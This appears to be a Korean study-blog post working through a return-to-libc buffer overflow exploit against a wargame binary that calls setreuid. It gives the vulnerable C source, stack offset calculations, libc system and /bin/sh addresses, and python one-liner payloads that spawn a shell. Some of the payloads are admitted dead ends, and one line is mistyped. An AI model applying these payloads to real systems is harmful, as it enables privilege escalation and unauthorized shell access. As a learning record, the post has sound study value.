rtl 공부 2

2017. 11. 27. 23:250x04 pwnable

728x90

#include <stdlib.h>


main(int argc, char *argv[])

{

   long i=0x1234567;

   char buf[1024];


   setreuid( 3094, 3094 );

   if(argc > 1)

   strcpy(buf,argv[1]);


   if(i != 0x1234567) {

   printf(" Warnning: Buffer Overflow !!! \n");

   kill(0,11);

   }

}


0x418 = 1048(dec)


0x400 = 1024(dec)


buf[1024]에서는 0x400은 실제 값 + 0x18은 더미값(24 dec)



0xbfffdf30:     0x08048308      0x42130a14      0xbfffdf48      0x01234567

여기만 안건들면 되겠는데 


A가 들어가는 시작주소가 0xbfffdb30 인데 ASLR 적용되어있는지 테스트하자 


ASLR 적용되어있습니다. 


libc.so.6을 이용하여 rtl 공격을 진행해보자.


i값만 건들면 안됨. 


우선 시스템의 주소는 0x4203f2c0이다 


/bin/sh의 오프셋주소는 0x127ea4인데 libc.so.6의 베이스주소와 합해야 한다.

그럼 42127ea4가 된다.


ASLR때문에 다시 보게 되면 시작주소는 0xbfffedf0 

0x1234567 근처 주소는 0xbffff1fb 

이 둘의 차는 0x40B (1035) 


그럼 다시 1035를 A로 덮으면? 딱 0x01234567만 살아있게 된다 


그럼 1035를 A로 덮고 8바이트는(스택가드적용시킨다음) + 1바이트 더미 + 4바이트 리턴주소 하면? 

rtl로 다시 생각하면 1031을 dummy + system주소 + 8바이트 스택가드 + 1바이트 더미 + 4바이트 bin/sh주소


`python -c 'print "\x90"*1028+"\xc0\xf2\x03\x42"+"\x67\x45\x23\x01"+"\x90"+"\xa4\x7e\x12\x42"'`


1048(더미 24크기포함) 이렇게 하는 순간 1035초과해서 스택가드 초과해버림... 

스택가드의 위치는 1036부터 그럼 1048까지 8바이트정도 여유공간 (4바이트 nop , 4바이트 시스템주소)

`python -c 'print "\x90"*1035+ "\x67\x45\x23\x01" + "\x90"*4 + "\c0\xf2\x03\x42" + "\xa4\x7e\x12\x42"'`


여기까지 내가 삽질한 부분 


책을 한번 보도록 하자 어디서 잘못됬는지 


내가 적었던 "buf[1024]에서는 0x400은 실제 값 + 0x18은 더미값(24 dec)"

여기가 잘못되었던 것이다.


sub esp, 0x418은 "스택"에서 쓰이는 전체의 크기를 일컫는 것이지. 

buf만의 공간이 아니었다... 이거 실수했네 


그럼, buf공간은 1024만큼 

long i 공간은 4만큼 

나머지 공간 20이 남는다 


mov dword ptr [ebp-12], 0x1234567 밑에 

sub esp, 0x8이 있으므로 i의 더미는 8 


총 1048

buf공간 1024

buf 더미 (1048 - 1036 = 12)  

long i 공간 4 (아까 확인 한 결과 1036번째 부터 들어간다)

long i 더미 8


이제 나는 여기서 long i 공간 4 (0x1234567)을 침범해선 안 된다. 


`python -c 'print "\x90"*1036 + "\x67\x45\x23\x01" + "\x90"*8 + "\x90"*4(sfp) + "retn addr"'`


ASLR이 걸려 있기 때문에 


./attackme `python -c 'print "\x90"*1036 +  + "\x67\x45\x23\x01" + "\x90"*12 + "\xc0\xf2\x03\x42" + "A"*4 + "\xa4\x7e\x12\x42"'` 

                     [  buf + buf's dummy 처리 ]        [stack guard 안건듬]            [/bin/sh주소]         


 

 

 

buf + buf dummy + system 주소 + 더미4개 + /bin/sh  

-> rtl 


rtl i값 (스택가드) -> i값을 놔두고 일 처리 

-> 버퍼의 크기(변수 길이를 체킹) -> 

1048이 총 길이가 되니까 + 4(sfp) + 4(ret)  => \x90 *8 

 

 

epb-12 , ebp-1048 -> buf의길이는 1036

1040 + 8 + 4 ret

 

 

 

'0x04 pwnable' 카테고리의 다른 글

ASLR 적용 된 바이너리 ASLR 해제하기~  (0) 2017.12.06
bof 기초  (0) 2017.11.27
rtl 공부  (0) 2017.11.27
Main HEAP and Thread HEAP  (0) 2017.10.30
공부 내용  (0) 2017.10.23